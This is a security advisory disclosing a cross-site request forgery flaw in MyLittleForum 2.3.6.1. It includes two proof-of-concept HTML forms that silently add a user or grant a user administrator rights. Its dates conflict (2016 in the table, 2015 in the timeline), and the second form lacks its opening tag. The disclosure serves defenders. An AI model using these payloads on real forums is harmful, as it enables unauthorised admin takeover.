MyLittleForum 2.3.6.1: CSRF
Date: 2016-11-10 10:49:421. Introduction
| Affected Product: | MyLittleForum 2.3.6.1 |
| Fixed in: | 2.3.7beta |
| Fixed Version Link: | https://github.com/ilosuna/mylittleforum/releases/tag/v2.3.7beta |
| Vendor Website: | http://mylittleforum.net/ |
| Vulnerability Type: | CSRF |
| Remote Exploitable: | Yes |
| Reported to vendor: | 09/05/2016 |
| Disclosed to public: | 11/10/2016 |
| Release mode: | Coordinated Release |
| CVE: | n/a |
| Credits | Tim Coen of Curesec GmbH |
2. Overview
MyLittleForum is forum software written in PHP. In version 2.3.6.1, it is vulnerable to cross site request forgery. An attacker could exploit this issue to add new users or change the status of existing users to administrator if a victim visits a website containing a specifically crafted payload while logged into MyLittleForum.
3. Details
CVSS: Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P
Description: There is no CSRF protection, allowing an attacker to perform actions for a victim if the victim visits an attacker controlled website while logged in.
Proof of Concept:
Add New User: <html> <body> <form action="http://localhost/mylittleforum-2.3.6.1/index.php" method="POST"> <input type="hidden" name="mode" value="admin" /> <input type="hidden" name="ar_username" value="admin2" /> <input type="hidden" name="ar_email" value="admin2@example.com" /> <input type="hidden" name="ar_pw" value="admin" /> <input type="hidden" name="ar_pw_conf" value="admin" /> <input type="hidden" name="register_submit" value="� OK� " /> <input type="submit" value="Submit request" /> </form> </body> </html> Make Existing User Admin: <html> <body> <input type="hidden" name="mode" value="admin" /> <input type="hidden" name="edit_user_id" value="2" /> <input type="hidden" name="edit_user_name" value="foo" /> <input type="hidden" name="edit_user_type" value="2" /> <input type="hidden" name="user_email" value="foo@example.com" /> <input type="hidden" name="user_hp" value="" /> <input type="hidden" name="user_real_name" value="" /> <input type="hidden" name="user_birthday" value="1912-12-12" /> <input type="hidden" name="user_location" value="" /> <input type="hidden" name="profile" value="" /> <input type="hidden" name="signature" value="" /> <input type="hidden" name="user_language" value="" /> <input type="hidden" name="user_time_zone" value="" /> <input type="hidden" name="user_time_difference" value="0" /> <input type="hidden" name="edit_user_submit" value="OK - Save" /> <input type="submit" value="Submit request" /> </form> </body> </html>
4. Solution
To mitigate this issue please upgrade at least to version 2.3.7beta:
https://github.com/ilosuna/mylittleforum/releases/tag/v2.3.7beta
Please note that a newer version might already be available.
5. Report Timeline
| 09/05/2015 | Informed Vendor about Issue (no reply) |
| 09/15/2015 | Reminded Vendor of Disclosure Date |
| 09/15/2015 | Vendor replies |
| 10/04/2015 | Vendor releases fix |
| 11/10/2016 | Disclosed to public |